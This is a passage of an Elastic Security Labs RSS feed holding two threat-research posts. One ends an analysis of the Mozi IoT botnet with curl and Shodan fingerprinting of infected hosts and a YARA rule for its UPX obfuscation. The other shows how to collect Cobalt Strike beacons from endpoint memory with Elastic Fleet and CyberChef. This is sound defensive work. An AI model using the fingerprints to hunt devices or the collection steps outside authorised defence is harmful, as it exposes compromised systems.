<p>Now that we’ve collected our samples, enriched them, and stored them in Elasticsearch, we can use Kibana to visualize this data to identify clusters of activity, make different observations, and set up different pivots for new research.</p>
<p>As a few quick examples, we can identify some ports that are used and countries that are included in the dataset.</p>
<p>Let’s start with identifying high-density network ports. Make a Lens visualization in Kibana by clicking on <strong>Visualization Library</strong> → <strong>Create visualization</strong> → <strong>Lens</strong>. We can make a simple donut chart to highlight that the threat.indicator.port of 6000 makes up over 10% of the network ports observed. This could lead us to explore other network traffic that is using port 6000 to identify other potentially malicious activity.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-4.png" alt="Figure 4 - Port layout for Mozi network traffic" /></p>
<p>Of note, port 0 and 4000 are also observed and are interesting. Ports 6000, 4000, nor 0 are overly common on the Internet-at-large and could be used to identify other compromised hosts. It should be noted that while transient network indicators like IP and port are useful, they should not be used as the sole source to identify malicious activity irrespective of the intrusion set being investigated.</p>
<p>Next, we can use a Kibana Maps visualization to identify geographic clusters of activities, and include associated context such as indicator confidence, provider, and type.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-5.jpg" alt="Figure 5 - Geographic data from Mozi command &amp; control infrastructure" /></p>
<p>Similar to the commentary above on IP and ports, geographic observations should not be the sole source used to take action. These are simply indicators for observed samples and require organizational-centric analysis to ascertain their meaning as it relates to the specific network.</p>
<p>This is useful information we can make the following analytical assertions based on our sampling:</p>
<ul>
<li>Mozi botnet is currently active and maintaining steady infection rates</li>
<li>Port 6000 is a dominant port used for command &amp; control</li>
<li>At least 24 countries impacted suggests global threat with no specific targeting</li>
<li>Clusters of specific ASNs in Bulgaria and India stand out with highest volumes</li>
</ul>
<p>As the analysis process starts to flow, it ends up providing additional avenues for research. One example an analyst may pursue is a propagation mechanism through the use of HTTP fingerprinting.</p>
<h2>Exploring the propagation mechanism</h2>
<p>In the same manner as criminal fingerprints are tracked and logged in a database, a similar technique can be applied to publicly facing network infrastructure. An HTTP request can be sent to a webserver and the HTTP response that is returned can be used to identify possible web applications hosted on the server; even the ordering of the fields in the HTTP response can be used as an identifier.</p>
<p>One thing we learned about Mozi and how it contributes to its spreading power is that each compromised device contributes to the infection of future victims. The compromised device starts an HTTP server that hosts a Mozi payload on a random TCP port. Knowing this information, we can collect content from an infected system to generate a fingerprint using cURL.</p>
<pre><code>curl -I nnn.nnn.nnn.nnn:53822
HTTP/1.1 200 OK
Server: nginx
Content-Length: 132876
Connection: close
Content-Type: application/zip
</code></pre>
<p><em>Code block 14 - HTTP response from a compromised device</em></p>
<p>Based on the observed response back, we can pull back some interesting information such as:</p>
<ul>
<li>The use of an NGINX web server</li>
<li>No HTTP Date Header provided</li>
<li>The size of the file returned is close to 133 kilobytes</li>
</ul>
<p>With this small amount of data, we can pivot to different search engines that store response data from these kinds of devices all over the world. By leveraging tools like <a href="https://www.shodan.io/">Shodan</a>, we can perform a search using the information obtained in the HTTP response. We’ll wildcard the Content-Length but use the same order for all of the HTTP response elements:</p>
<pre><code>HTTP/1.1 200 OK Server: nginx Content-Length: * Connection: close Content-Type: application/zip
</code></pre>
<p><em>Code block 15 - HTTP header for Mozi propagation</em></p>
<p>We can see a number of hits where this same response was captured on other devices and start to pinpoint additional machines. Below are a few examples from a Shodan search:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-6.jpg" alt="Figure 6 - Additional impacted devices" /></p>
<p>Other search examples over response data could be used as well such as the actual bytes of the malicious Mozi file that was returned in the response.</p>
<h2>Mitigation</h2>
<p>The Mozi botnet propagates through the abuse of default or weak remote access passwords, exploits and outdated software versions. To defend devices from exploitation, we recommend:</p>
<ul>
<li>Changing the device default remote access passphrases</li>
<li>Updating devices to the latest firmware and software version supported by the vendor</li>
<li>Segmenting IoT devices from the rest of your internal network</li>
<li>Not making IoT devices accessible from the public Internet</li>
</ul>
<h2>Detection logic</h2>
<p>Using <a href="https://virustotal.github.io/yara/">YARA</a>, we can write a signature for the corrupted UPX header. Similar to rules that look for specific types of PowerShell obfuscation, the obfuscation mechanism itself can occasionally be a better indicator of maliciousness than attempting to signature the underlying activity. It is extremely important to note that zeroing out part of the header sections was the technique that we observed with our samples. There are a litany of other obfuscation and anti-analysis techniques that could be used with other samples. MITRE ATT&amp;CK® describes additional subtechniques for the <a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a> technique from the <a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a> tactic.As noted above, the observed anti-analysis technique used by the analyzed Mozi samples consists solely of zeroing out the 8 bytes after the “UPX!” magic bytes, and the 4 bytes before that are always zero, so let's use a YARA signature derived from the work by <a href="https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi/">Lars Wallenborn</a> (expanded for readability).</p>
<pre><code>rule Mozi_Obfuscation_Technique
{
  meta:
    author =  &quot;Elastic Security, Lars Wallenborn (@larsborn)&quot;
    description = &quot;Detects obfuscation technique used by Mozi botnet.&quot;
  strings:
    $a = { 55 50 58 21
           [4]
           00 00 00 00
           00 00 00 00
           00 00 00 00 }
  condition:
    all of them
}
</code></pre>
<p><em>Code block 16 - YARA signature detecting Mozi obfuscation</em></p>
<ul>
<li>55 50 58 21 - identifies the UPX magic bytes</li>
<li>[4] - offset by 4 bytes, the l_lsize, l_version &amp; l_format</li>
<li>00 00 00 00 - identifies the program header ID</li>
<li>00 00 00 00 - identifies the zero’d out p_filesize</li>
<li>00 00 00 00 - identifies the zero’d out p_blocksize</li>
<li>condition - requires that all of the above strings exist for a positive YARA signature match</li>
</ul>
<p>The above YARA signature can be used to identify ELF files that are packed with UPX and have the header ID, p_filesize, and p_blocksize elements zero’d out. This can go a long way in identifying obfuscation techniques in addition to Mozi samples. In our testing, we used this YARA signature with a 94.6% efficiency for detecting Mozi samples.</p>
<h2>Summary</h2>
<p>The Mozi botnet has been observed targeting vulnerable Internet of Things (IoT) devices to launch seemingly non-targeted campaigns that can take advantage of the force multiplication provided by a botnet. Mozi has been in operation since at least December 2019.</p>
<p>We covered techniques to collect, ingest, and analyze samples from the Mozi botnet. These methodologies can also be leveraged to enhance and enable analytical processes for other data samples.</p>
<h2>Additional resources</h2>
<ul>
<li>Blog artifacts and scripts, Elastic: <a href="https://github.com/elastic/examples/tree/master/blog/mozin-about">https://github.com/elastic/examples/tree/master/blog/mozin-about</a></li>
<li>ThreatFox Indicator of Compromise Database, Abuse.ch: <a href="https://threatfox.abuse.ch/browse">https://threatfox.abuse.ch/browse</a></li>
<li>UPX Anti-Unpacking Techniques in IoT Malware, CUJOAI: <a href="https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware">https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware</a></li>
<li>Corrupted UPX Packed ELF Repair, vcodispot.com: <a href="https://vcodispot.com/corrupted-upx-packed-elf-repair">https://vcodispot.com/corrupted-upx-packed-elf-repair</a></li>
<li>UPX PACKED ELF BINARIES OF THE PEER-TO-PEER BOTNET FAMILY MOZI, Lars Wallenborn: <a href="https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi">https://blag.nullteilerfrei.de/2019/12/26/upx-packed-elf-binaries-of-the-peer-to-peer-botnet-family-mozi</a></li>
<li>Mozi, Another Botnet Using DHT, 360 Netlab: <a href="https://blog.netlab.360.com/mozi-another-botnet-using-dht">https://blog.netlab.360.com/mozi-another-botnet-using-dht</a></li>
<li>Mozi Botnet Accounts for Majority of IoT Traffic, Tara Seals: <a href="https://threatpost.com/mozi-botnet-majority-iot-traffic/159337">https://threatpost.com/mozi-botnet-majority-iot-traffic/159337</a></li>
<li>New Mozi P2P Botnet Takes Over Netgear, D-Link, Huawei Routers, Sergiu Gatlan: <a href="https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers">https://www.bleepingcomputer.com/news/security/new-mozi-p2p-botnet-takes-over-netgear-d-link-huawei-routers</a></li>
<li>Kibana Maps, Elastic: <a href="https://www.elastic.co/pt/guide/en/kibana/current/maps.html">https://www.elastic.co/pt/guide/en/kibana/current/maps.html</a></li>
<li>Kibana Lens, Elastic: <a href="https://www.elastic.co/pt/guide/en/kibana/current/lens.html">https://www.elastic.co/pt/guide/en/kibana/current/lens.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-thumb-mozi-botnet.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Collecting Cobalt Strike Beacons with the Elastic Stack]]></title>
            <link>https://www.elastic.co/pt/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack</link>
            <guid>collecting-cobalt-strike-beacons-with-the-elastic-stack</guid>
            <pubDate>Wed, 01 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Part 1 - Processes and technology needed to extract Cobalt Strike implant beacons]]></description>
            <content:encoded><![CDATA[<h2>Overview</h2>
<p><a href="https://attack.mitre.org/software/S0154/">Cobalt Strike</a> is a premium offensive security tool leveraged by penetration testers and red team members as a way to emulate adversary behavior. The goal is to validate security detection capabilities and processes replicating a real-world intrusion. While Cobalt Strike is a legitimate tool, it is often <a href="https://www.proofpoint.com/uk/blog/threat-insight/cobalt-strike-favorite-tool-apt-crimeware">abused by actual threat actors</a> as a way to gain and maintain persistence into targeted networks.</p>
<p>To manage command and control, Cobalt Strike leverages an implant that uses beacon configuration known as a <a href="https://www.cobaltstrike.com/help-malleable-c2">Malleable Command and Control</a> (Malleable C2) profile. A Malleable C2 profile contains a tremendous number of options to configure the beacon’s functionality, please see <a href="https://www.cobaltstrike.com/help-beacon">Cobalt Strike’s official documentation</a> for specifics on configuring Malleable C2 beacons.</p>
<p>This blog will focus on using the Elastic Stack to collect Cobalt Strike beacon payloads, extract and parse the beacon configurations, and an analysis of the metadata within the configurations. This will all be taken from the memory of targeted Windows endpoints that we’ve collected from our telemetry.</p>
<h2>The Fleet Policy</h2>
<p><a href="https://www.elastic.co/pt/guide/en/kibana/current/fleet.html">Fleet</a> is an app in Kibana that provides a central place to configure and monitor your Elastic Agents. Fleet uses <a href="https://www.elastic.co/pt/guide/en/fleet/current/integrations.html">integrations</a>, which are unified plugins that allow data to be collected from apps and services, and then stored in Elasticsearch. Integrations are added to policies, and Elastic Agents are added to policies.</p>
<p>First, we need to configure the collection of shellcode and malicious memory regions in a Fleet policy. This will collect 4MB of data from memory surrounding shellcode and malicious memory events. It should be noted that this collection may significantly increase the amount of data stored in Elasticsearch.</p>
<p>You can add this to an existing policy or create a new policy. To create a new policy, in Kibana, navigate to Fleet → Agent Policies → Create agent policy. Give your policy a name and description. Optionally, you can disable “System monitoring” and “Agent monitoring” to reduce the amount of system and agent metadata collected from your endpoints. Click on “Create agent policy”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/create-agent-policy.jpg" alt="" /></p>
<p>Next, click on your new policy and click the “Add integration button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/finding-endpoint-integration.jpg" alt="" /></p>
<p>Finally, we’re going to add the memory and shellcode collection options. Click on the integration name (“Endpoint Security”).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/overview-with-endpoint-security.jpg" alt="" /></p>
<p>Under “Protections”, leave the different protection types selected, but change the Protection level from “Prevent” to “Detect”. This will allow malware to continue to run to allow for more rich event collection. There are several types of Protections (Malware, Memory, etc.), select “Detect” for each type that has Windows as an available “Operating system”; you can uncheck Mac and Linux Operating Systems. <strong>If you are enabling this feature for a production environment, leave the Protection levels as “Prevent”</strong></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/setting-policy-to-detect.jpg" alt="" /></p>
<p>At the bottom of the integration configuration page, you can toggle “Register as antivirus” so that the Elastic Agent is registered as the Antivirus solution, and disable Windows Defender. Click on “Show advanced settings”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/register-as-antivirus.jpg" alt="" /></p>
<p>At the very bottom of the advanced settings page, type “true” for the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings, and then click “Save integration”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/collect-sample.jpg" alt="" /></p>
<p>Once you have created this specific Fleet policy, you can apply this policy to an endpoint running the Elastic Agent. For specific instructions on how to deploy the Elastic Agent, refer to the <a href="https://www.elastic.co/pt/guide/en/fleet/current/elastic-agent-installation.html#install-fleet-managed-agent">official Elastic documentation</a>.</p>
<h2>Collecting the Beacon</h2>
<p>Now that we’ve made a collection policy and applied it to a Windows machine you can target it with a CobaltStrike campaign. Instead of mimicking what a CobaltStrike beacon could look like in a lab, we’re going to use live CobaltStrike beacon payloads from Elastic’s telemetry.</p>
<p>To find Cobalt Strike beacon payloads, you can use the Discover app in Kibana to return events identified as Cobalt Strike. These events are provided by the Elastic Endpoint Security Agent, which identifies Cobalt Strike beacons and modules with the “Windows.Trojan.CobaltStrike” malware signature. A simple <a href="https://www.elastic.co/pt/guide/en/kibana/current/kuery-query.html">Kibana Query Language (KQL)</a> search is as simple as:</p>
<pre><code>KQL search for Cobalt Strike

event.category:(malware or intrusion_detection) and
rule.name:(Windows.Trojan.CobaltStrike or Windows.Trojan.Cobaltstrike)
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/viewing-cs-alerts.jpg" alt="" /></p>
<p>Next, let’s filter on documents that have the process.Ext.memory_region.bytes_compressed field (this is a field populated by the windows.advanced.memory_protection.shellcode_collect_sample and windows.advanced.memory_protection.memory_scan_collect_sample settings we configured in the Fleet policy above). To do that we can simply add a filter for the process.Ext.memory_region.bytes_compressed_present field with a value of true.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/compressed_present-field.jpg" alt="" /></p>
<p>Finally, add the process.Ext.memory_region.bytes_compressed field to our view so that we can see the value of the field.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/bytes_compressed-add.jpg" alt="" /></p>
<p>We can see that we have 133 examples with data in the process.Ext.memory_region.bytes_compressed field. This field contains the file extracted from the memory of the infected host and then zlib deflated and Base64 encoded.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/number-of-events.jpg" alt="" /></p>
<p>Now that we’ve collected the file in the Elastic Stack, let’s turn that raw data into a file that we can analyze.</p>
<p>There is a lot of nuance between operating systems on how to decode Base64 and inflate zlib deflated files. If you’d prefer to use your command line or local tools, feel free to do so. That said, <a href="https://gchq.github.io/CyberChef">CyberChef</a> is a browser-based data parser that is provided for free by the United Kingdom’s Government Communications Headquarters (GCHQ).</p>
<p>Using the CyberChef web application, add the “From Base64” and “Zlib Inflate” <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Zlib_Inflate(0,0,'Adaptive',false,false)">recipes</a>and then paste the contents of the process.Ext.memory_region.bytes_compressed field into the ).</p>
<p>Click on the disk icon to download the inflated binary.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/cyber-chef.jpg" alt="" /></p>
<p>Running the file command, we can see that this is a Portable Executable (PE) file that can be analyzed by a malware reverse engineer (RE).</p>
<pre><code>Using the file command to validate the file type

$ file beacon.exe

beacon.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows


</code></pre>
<p>While an RE can identify a tremendous amount of information, let’s explore what additional information a non-RE can obtain from this file.</p>
<h2>Next Steps</h2>
<p>In the next <a href="https://www.elastic.co/pt/security-labs/extracting-cobalt-strike-beacon-configurations">release</a>, we’ll use the beacon that we’ve just collected and extract its configuration. With this information, we’ll be able to identify other important elements such as license identifications, watermarks, and atomic indicators.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/collecting-cobalt-strike-beacons-with-the-elastic-stack/photo-edited-01@2x.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>